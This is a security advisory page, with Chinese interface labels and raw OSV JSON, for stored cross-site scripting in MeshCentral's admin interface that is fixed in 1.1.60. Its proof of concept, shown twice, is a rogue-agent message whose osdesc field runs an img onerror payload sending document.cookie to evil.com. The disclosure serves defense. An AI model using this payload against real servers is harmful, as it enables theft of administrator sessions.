GHSA-C7HR-448W-65PX高危已审查

MeshCentral has unsanitized data fields

OSV 1.4.0 · github-reviewed · 修改于 2026-08-19 04:09

发布时间

2026-08-19 04:09

GitHub 审查时间

2026-08-19 04:09

NVD 发布时间

—

源文件

advisories/github-reviewed/2026/08/GHSA-c7hr-448w-65px/GHSA-c7hr-448w-65px.json

公告说明

Description

A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.

Technical Details

// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }

// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML

// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')

Additional unescaped agent fields:

node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
volumes[].name unescaped in file browser (line 12612) -- MEDIUM

No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.

Proof of Concept

Rogue agent sends via WebSocket:

{
  "action": "coreinfo",
  "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
  "name": "Legit-PC"
}

Payload fires when any admin views the device details panel. No click required.

标识信息

别名 / CVE

无

CWE

CWE-20CWE-74

软件生态

npm

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

原始 OSV JSON

{
  "id": "GHSA-c7hr-448w-65px",
  "aliases": [],
  "details": "### Description\n\nA rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the\ndevice details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.\n\n### Technical Details\n\n```javascript\n// meshagent.js:1903 -- Agent input, only type check\nif (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;\nchange = 1; }\n\n// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()\nif (node.osdesc) { x += addDeviceAttribute(\"Operating System\", node.osdesc); }\n// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML\n\n// INCONSISTENCY: Same field IS escaped elsewhere:\n// Line 13529: addDetailItem(\"Version\", EscapeHtml(node.osdesc), s)\n// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')\n```\n\nAdditional unescaped agent fields:\n\n- node.name unescaped in sharing dialog (line 4695), user group list (line 18625),\npermission dialogs (lines 18675, 19413) -- HIGH\n- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM\n- volumes[].name unescaped in file browser (line 12612) -- MEDIUM\n\nNo server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.\n\n### Proof of Concept\n\nRogue agent sends via WebSocket:\n\n```json\n{\n  \"action\": \"coreinfo\",\n  \"osdesc\": \"<img src=x onerror='fetch(\\\"https://evil.com/steal?\\\"+document.cookie)'>\",\n  \"name\": \"Legit-PC\"\n}\n```\n\nPayload fires when any admin views the device details panel. No click required.\n\n<img width=\"939\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1\" />",
  "summary": "MeshCentral has unsanitized data fields",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.60"
            }
          ]
        }
      ],
      "package": {
        "name": "meshcentral",
        "ecosystem": "npm"
      }
    }
  ],
  "modified": "2026-08-18T20:09:35Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"
    }
  ],
  "published": "2026-08-18T20:09:35Z",
  "references": [
    {
      "url": "https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-c7hr-448w-65px",
      "type": "WEB"
    },
    {
      "url": "https://github.com/Ylianst/MeshCentral",
      "type": "PACKAGE"
    },
    {
      "url": "https://github.com/Ylianst/MeshCentral/releases/tag/1.1.60",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-74"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2026-08-18T20:09:35Z"
  }
}